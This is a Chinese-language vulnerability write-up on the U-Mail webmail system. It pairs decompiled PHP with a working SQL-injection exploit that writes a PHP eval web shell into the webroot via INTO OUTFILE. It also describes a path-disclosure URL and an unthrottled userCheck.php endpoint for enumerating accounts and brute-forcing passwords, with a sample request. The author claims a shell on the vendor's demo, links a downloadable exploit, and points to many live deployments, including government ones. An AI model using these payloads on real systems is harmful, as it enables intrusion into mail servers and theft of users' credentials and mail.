1.邮件系统介绍 1)官方下载地址:http://www.comingchina.com/html/downloads/ 2)版本:最新版V9.8.57 3)测试环境:Windows Server 2003+IIS6.0+官方默认软件 4)使用案例:http://www.comingchina.com/html/case/ OR Google "Powered by U-Mail" 2.邮件系统数据 1)系统默认路径: c:\umail为邮件系统的默认路径 c:\umail\WorldClient\html\为邮件系统的web路径 http://mail.fuck.com/webmail/为普通用户的登录入口 http://mail.fuck.com/webmail/admin/?module=user&action=login为域/超域/系统管理员的登录入口 2)安装数据 系统安装完毕后在C:\umail路径下生成readme.txt文件,记录了安装的帐号密码相关信息,如图
安装完毕后有两个数据库umail和webmail,其中umail记录整个邮件系统的数据; 数据库会生成两个用户,一个root一个umail,其中umail帐号对应数据库umail[问题1] 同时系统会生成三个管理用户,admin(域管理员)、administrator(超域管理员)、system(系统管理员)前两个帐号可以管理所有用户密码等信息 对应的数据表为web_user,且密码明文存储,如图
3)漏洞文件 /client/pab/module/o_contact.php 代码为
if ( ACTION == "contact-import" ) { $url = make_link( "pab", "view", "index" ); $import_file = $_FILES['import_file'];//获取文件 $import_group = $_POST['import_group']; $import_mode = $_POST['import_mode']; $file_path = $_FILES['import_file']['tmp_name']; $fp = @fopen( $file_path, "r" ); if ( !$fp ) { redirect( $url, "无法打开文件!" ); } $i = 0; $file_fields = array( ); //从文件中读取内容, while ( !feof( $fp ) ) { $line = iconv( "GBK", "UTF-8", trim( fgets( $fp, 4096 ) ) ); if ( $i == 0 ) { $field_map = $PAB->getExportFieldMap( );//获得字段项 $tmp_field_arr = explode( ",", trim( $line ) ); foreach ( $tmp_field_arr as $tmp_field ) { $tmp_field = trim( $tmp_field ); $is_find = FALSE; foreach ( $field_map as $key => $field ) { if ( !( $tmp_field == $field ) || !( $tmp_field == "\"".$field."\"" ) ) { continue; } $file_fields[] = $key; $is_find = TRUE; break; } if ( !$is_find ) { $file_fields[] = ""; } } } else { $data = array( ); $line_arr = explode( ",", $line ); foreach ( $line_arr as $j => $val ) { preg_match( "/\"(.+?)\"/", $val, $arr_tmp ); $val = $arr_tmp[1] ? $arr_tmp[1] : $val; if ( !$val && !$file_fields[$j] && !( $val != "\"\"" ) ) { $data[$file_fields[$j]] = $val;//将文件读取的内容拼接至数组里 } } if ( !$data ) { } else { $data['updated'] = date( "Y-m-d H:i:s" ); $contact = $PAB->getContactByMail( $user_id, $data['pref_email'], "contact_id", 0 );//进入函数,产生了一个select的查询 if ( $contact ) { do { if ( !( $import_mode == "ignore" ) ) { $where = "contact_id='".$contact['contact_id']."'"; $result = $PAB->update_contact( $data, $where, 0 ); if ( !$result ) { redirect( $url, "更新数据失败!" ); } if ( $import_group && $PAB->checkMap( $user_id, $import_group, $contact['contact_id'], 0 ) ) { $contact_id = $contact['contact_id']; break; break; } } } else { $data['user_id'] = $user_id; $contact_id = $PAB->add_contact( $data, 0 );//执行插入数据操作 if ( $contact_id ) { break; } redirect( $url, "导入数据失败!" ); } while ( 0 ); } if ( $import_group ) { $res = $PAB->addMap( $user_id, $import_group, $contact_id, 0 ); } } } ++$i; } fclose( $fp ); redirect( $url, "导入数据成功!" ); }
两个sql查询的文件代码为 其中$contact = $PAB->getContactByMail( $user_id, $data['pref_email'], "contact_id", 0 ); 在文件/client/admin/lib/PAB.php
public function getContactByMail( $_obfuscate_nQNptTJPgÿÿ, $_obfuscate_ae6UFRQÿ, $_obfuscate_tjILu7ZH = "*", $_obfuscate_ySeUHBwÿ = FALSE ) { $_obfuscate_IRFhnYwÿ = "user_id='".$_obfuscate_nQNptTJPgÿÿ."' AND pref_email='".$_obfuscate_ae6UFRQÿ."'";//pref_email的参数未转义等处理 $_obfuscate_6RYLWQÿÿ = $this->getone_contact( $_obfuscate_IRFhnYwÿ, $_obfuscate_tjILu7ZH, $_obfuscate_ySeUHBwÿ ); return $_obfuscate_6RYLWQÿÿ; }
$contact_id = $PAB->add_contact( $data, 0 );//执行插入数据操作 是直接将$data的数据insert到contact表里的。所以读取文件的内容,并获取参数,最终执行了函数,函数对变量未进行有效转义等,从而产生注入 这个注入比较另类的地方是,我们可以引入单引号、注释符进行闭合等,但是不能引入逗号,因为其从文件读取参数的时候是按照逗号进行分割的。所以只能sleep()一下,且若想盲注的话还不能引入逗号,因而无法继续利用。先查看下具体的sql语句。 缺陷产生的地方是在个人通讯录-导入联系人到此组中,要想导入联系人,先得获取提交文件的字段信息。
文件信息为
然后修改文件,执行导入联系人到此组
执行的sql语句为
发现INSERT的数据是写死的,fullname和pref_email不能引入)等进行闭合,因为其有逗号,(从文件获取参数的时候是按照逗号分割的,所以整个注入利用的exp中不能出现逗号),因而无法将select password from web_user INSERT到联系人表里。上面的select 也只能执行个sleep,且无法盲注(有逗号,暂未绕过) 所以此处是个鸡肋的sql注入,但恰巧该SQL语句只执行了SELECT contact_id这一个字段,所以我们可以进行UNION SELECT,从而不用产生逗号了。若只是查询数据也是获取不到的,因为其还是要引入逗号的。所以考虑到了INTO OUTFILE,巧合的是该邮件系统的umail帐号默认却是有FILE权限的(邮箱存储邮件是写文件的,应该是业务需求)
UNION SELECT 要保证前面的sql执行无结果返回,因而getshell的最终exp为,在联系人表的电子邮件地址写入 hello' AND 1=2 UNION SELECT '<?php eval($_POST[1]);' INTO OUTFILE 'C:\\umail\\WorldClient\\html\\damn.php'#即可
执行的sql语句为
150118 14:23:06 1353 Connect umail@localhost on 1353 Query SET NAMES 'UTF8' 1353 Init DB umail 1353 Query SELECT contact_id FROM pab_contact WHERE user_id='3' AND pref_email='hello' AND 1=2 UNION SELECT '<?php eval($_POST[1]);' INTO OUTFILE 'C:\\umail\\WorldClient\\html\\damn.php'#' LIMIT 1 1353 Query INSERT INTO pab_contact SET `fullname`='hello',`pref_email`='hello' AND 1=2 UNION SELECT '<?php eval($_POST[1]);' INTO OUTFILE 'C:\\umail\\WorldClient\\html\\damn.php'#',`birthday`='0000-00-00',`updated`='2015-01-18 14:23:06',`user_id`='3' 1353 Quit
当然,我们要知道网站的web路径才可以,默认路径是c:\umail,若不是默认路径,这里还一处爆路径缺陷,登录状态下访问webmail/client/mail/index.php?module=operate&action=attach-packdown即可,或者在未登录状态下直接访问/webmail/client/mail/module/test.php即可 从而获得webshell为
这样难道还不完美?如何获得邮箱系统的一个普通帐号,难道不容易获取么?
主页登录处,输错密码三次就要输入验证码,但该系统中却存在一处设计缺陷,该设计缺陷,不仅可以猜解存在哪些用户名,而且可以导致暴力猜解用户密码, /api/userCheck.php代码为
$mailbox = trim( $_GET['mailbox'] ); $cfv = trim( $_GET['cfv'] ); $domain = trim( $_GET['domain'] ); $password = trim( $_GET['password'] ); if ( $mailbox ) { if ( !checkemailname( $mailbox ) ) { echo "param_error"; exit( ); } if ( !$password ) { echo "param_error"; exit( ); } } else { if ( !$cfv ) { echo "param_error"; exit( ); } if ( !$domain ) { echo "param_error"; exit( ); } if ( !$password ) { echo "param_error"; exit( ); } } require_once( "../mainconfig.php" ); connect_db( "127.0.0.1:6033", $db_user, $db_password, "umail" ); //get传入mailbox变量 if ( $mailbox ) { list( $username, $domain ) = explode( "@", $mailbox ); } $domain_id = getdomainidbyname( $domain, 0 ); if ( $cfv ) { $userlist = getuserlistbycfv( $domain_id, $cfv, "UserID,Mailbox,FullName,Password,CustomFieldValue", 0 ); } else { //不传入cfv $userlist = getuserlistbyname( $domain_id, $username, "UserID,Mailbox,FullName,Password,CustomFieldValue", 0 );//根据用户名查到该用户的记录,若有则返回,无则exit函数 } if ( !$userlist ) { echo "mailbox_not_exist";//如果不存在用户名的话,则提示不存在用户,同时结束运行 exit( ); } if ( $userlist['Password'] == $password ) { echo "ok";//根据用户名从数据库获得的用户密码,比较与用户提交的是否相等,相等就ok,导致密码可以被暴力破解 exit( ); } echo "password_error";//若用户名存在,则查看密码是否正确 exit( ); ?>
如何获得用户名?(妈蛋,既然邮件系统,肯定邮箱地址是公开的,这就是用户名),当然我们可以暴力下有哪些用户名 方法,/webmail/api/userCheck.php?mailbox=xxxx@domain.com&password=sbsbsbsbsbsb 要想暴力猜解用户名,必须保证密码是一个不存在的密码,很简单,设置个足够复杂变态的即可,如图
输出mailbox_not_exist表示不存在该用户名
输错password_error表示存在该用户名 暴力猜解用户名,载入用户名字典(拼音组合等),执行爆破。
获得用户名后,直接猜解密码即可,载入字典,无任何次数限制。密码正确提示ok,错误则提示password_error,如图
GET /webmail/api/userCheck.php?mailbox=weakpass@fuck.com&password=xxx HTTP/1.1 Host: mail.fuck.com Proxy-Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: PHPSESSID=3f46b9d2eeace956a851d34d2032c24f
综上,从一个另类注入,完美getshell,附上官网demo1shell
附EXP下载,链接: http://pan.baidu.com/s/1bnGVbY3 密码: wn3v 修改web路径,导入通讯录即可getshell,同时附送众多的案例,谷歌搜索,都第31页了还是有很多该邮件系统,使用量是比较大的,政府用户也居多。